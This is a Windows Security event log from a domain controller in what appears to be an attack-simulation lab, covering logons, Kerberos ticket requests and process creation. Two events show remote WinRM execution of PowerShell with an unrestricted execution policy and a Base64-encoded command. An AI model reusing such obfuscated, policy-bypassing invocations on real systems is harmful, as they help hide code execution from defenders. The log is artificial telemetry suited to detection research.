-TaskCategory=Special Logon -OpCode=Info -RecordNumber=251886 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x146D78 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:52 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251885 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x146D78 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {96D2DD71-32E1-E85A-5916-E048AB39A344} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:52 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251884 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {96D2DD71-32E1-E85A-5916-E048AB39A344} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:49:52 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=251883 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {96D2DD71-32E1-E85A-5916-E048AB39A344} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:49:52 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=251882 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:49:52 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=251881 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x14253C - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf3c - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x8dc - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA= - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:52 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=251880 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x14253C - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x8dc - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x12c4 - Creator Process Name: C:\Windows\System32\winrshost.exe - Process Command Line: C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA= - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:52 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=251879 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x146BC5 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:52 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251878 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x146BC5 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {96D2DD71-32E1-E85A-5916-E048AB39A344} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:52 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251877 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {96D2DD71-32E1-E85A-5916-E048AB39A344} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:49:52 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=251876 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {96D2DD71-32E1-E85A-5916-E048AB39A344} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:49:52 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=251875 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:49:52 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=251874 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x146BA9 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:52 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=251873 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x146BA9 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:52 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251872 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x146BA9 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {96D2DD71-32E1-E85A-5916-E048AB39A344} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:52 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251871 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {96D2DD71-32E1-E85A-5916-E048AB39A344} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:49:52 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=251870 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {96D2DD71-32E1-E85A-5916-E048AB39A344} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:49:52 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=251869 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - 